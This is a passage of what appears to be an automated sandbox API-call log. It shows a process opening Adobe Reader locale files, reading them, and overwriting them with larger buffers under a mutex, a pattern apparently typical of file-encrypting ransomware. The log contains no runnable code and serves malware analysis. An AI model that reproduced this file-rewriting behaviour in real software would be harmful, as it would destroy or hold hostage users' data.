SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1a00 [0039.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.411] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.411] ReleaseMutex (hMutex=0x128) returned 1 [0039.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0039.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x1e78c44, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SLV", lpUsedDefaultChar=0x0) returned 19 [0039.411] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0039.416] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.416] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x354f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0039.416] CloseHandle (hObject=0x198) returned 1 [0039.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Multimedia.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\multimedia.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.420] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.420] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x13400 [0039.420] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.420] ReleaseMutex (hMutex=0x128) returned 1 [0039.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0039.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SLV", cchWideChar=14, lpMultiByteStr=0x1e633ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SLV", lpUsedDefaultChar=0x0) returned 14 [0039.420] ReadFile (in: hFile=0x198, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.423] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12400 [0039.423] ReadFile (in: hFile=0x198, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.424] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x12400 [0039.424] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.424] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.424] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.424] CloseHandle (hObject=0x198) returned 1 [0039.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.425] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.425] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe9 [0039.425] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.425] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.425] ReleaseMutex (hMutex=0x128) returned 1 [0039.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.425] ReadFile (in: hFile=0x198, lpBuffer=0x25ea748, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea748*, lpNumberOfBytesRead=0x354f2bc*=0xe9, lpOverlapped=0x0) returned 1 [0039.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.426] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x671, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x671, lpOverlapped=0x0) returned 1 [0039.426] CloseHandle (hObject=0x198) returned 1 [0039.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\digsig.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1f200 [0039.432] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.432] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.432] ReleaseMutex (hMutex=0x128) returned 1 [0039.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SVE", lpUsedDefaultChar=0x0) returned 10 [0039.432] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.435] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1e200 [0039.435] ReadFile (in: hFile=0x1c4, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.437] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1e200 [0039.437] WriteFile (in: hFile=0x1c4, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.437] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.437] WriteFile (in: hFile=0x1c4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.715] CloseHandle (hObject=0x1c4) returned 1 [0039.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\ReadOutLoud.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\readoutloud.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.717] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.717] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2a00 [0039.717] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.717] ReleaseMutex (hMutex=0x128) returned 1 [0039.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0039.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SVE", cchWideChar=15, lpMultiByteStr=0x1e630cc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SVE", lpUsedDefaultChar=0x0) returned 15 [0039.717] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.719] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a00 [0039.719] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.720] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a00 [0039.720] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.720] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.720] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.720] CloseHandle (hObject=0x198) returned 1 [0039.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Accessibility.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\accessibility.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.721] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.721] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xa400 [0039.721] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.721] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.721] ReleaseMutex (hMutex=0x128) returned 1 [0039.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0039.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x1e78c44, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.TUR", lpUsedDefaultChar=0x0) returned 17 [0039.721] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.722] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x9400 [0039.722] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.723] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x9400 [0039.723] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.723] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.723] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.723] CloseHandle (hObject=0x198) returned 1 [0039.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\IA32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ia32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.724] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.724] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe00 [0039.724] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.724] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.724] ReleaseMutex (hMutex=0x128) returned 1 [0039.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0039.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.TUR", lpUsedDefaultChar=0x0) returned 8 [0039.724] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0039.726] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.726] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0039.726] CloseHandle (hObject=0x198) returned 1 [0039.726] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SendMail.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\sendmail.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.727] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.727] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3c00 [0039.727] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.727] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.727] ReleaseMutex (hMutex=0x128) returned 1 [0039.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.TUR", lpUsedDefaultChar=0x0) returned 12 [0039.727] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.729] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2c00 [0039.729] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2c00 [0039.730] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.730] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.730] CloseHandle (hObject=0x198) returned 1 [0039.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\brdlang32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.731] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.731] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3200 [0039.731] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.731] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.731] ReleaseMutex (hMutex=0x128) returned 1 [0039.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.UKR", lpUsedDefaultChar=0x0) returned 13 [0039.731] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.733] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2200 [0039.733] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2200 [0039.734] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, 